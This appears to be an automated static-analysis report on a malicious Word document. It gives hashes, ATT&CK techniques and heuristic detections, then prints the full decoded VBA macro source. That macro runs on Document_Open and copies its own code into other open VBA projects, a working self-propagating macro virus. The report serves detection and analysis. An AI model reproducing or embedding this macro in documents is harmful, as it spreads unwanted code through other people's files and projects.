Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3a767b45419ea5fb…

MALICIOUS

Office (OLE)

41.5 KB Created: 2020-03-23 01:22:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: dfe111bb4a07b996e48d4d4585283909 SHA-1: 83fb2a947617f73e044d75a1fcbb8ebf87bcf9e2 SHA-256: 3a767b45419ea5fb9cba9dc6f706b388c9c7b0e84578e2d9c8ecbdcf4d566747
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro designed to execute code when the document is opened. The macro attempts to copy its own code into other components, suggesting an effort to hide or propagate its malicious functionality. The ClamAV heuristic also flags it as malicious. The document body appears to be a benign internal notice, indicating the malicious content is solely within the macros.

Heuristics 4

  • ClamAV: Doc.Macro.MaliciousHeuristic-6290327-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MaliciousHeuristic-6290327-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2699 bytes
SHA-256: 487525f60e60ceec14673601ade982832dfda5c6fd52d40e287048422f673bdf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
Dim MACROTEXT As String
'Dim AA As VBComponent
For I = 1 To VBE.VBProjects.Count
On Error GoTo 11
 P = VBE.VBProjects(I).FileName
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
 If B = C Then
 Set AA = VBE.VBProjects(I).VBComponents(1)
LOCALLINES = AA.CodeModule.CountOfLines
MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
 Exit For
 End If

11: Err.Clear
Next I

For I = 1 To VBE.VBProjects.Count
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
On Error GoTo 12
 P = VBE.VBProjects(I).Name
 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
12:
If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
Err.Clear
Set AA = VBE.VBProjects(I).VBComponents(1)
 AA.CodeModule.AddFromString (MACROTEXT)
  
 End If
Next I

End Sub

Private Sub Document_Open1()
Dim MACROTEXT As String
'Dim AA As VBComponent
For I = 1 To VBE.VBProjects.Count
On Error GoTo 11
 P = VBE.VBProjects(I).FileName
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
 If B = C Then
 Set AA = VBE.VBProjects(I).VBComponents(1)
LOCALLINES = AA.CodeModule.CountOfLines
MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
 Exit For
 End If

11: Err.Clear
Next I

For I = 1 To VBE.VBProjects.Count
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
On Error GoTo 12
 P = VBE.VBProjects(I).Name
 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
12:
If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
Err.Clear
Set AA = VBE.VBProjects(I).VBComponents(1)
 AA.CodeModule.AddFromString (MACROTEXT)
  
 End If
Next I

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.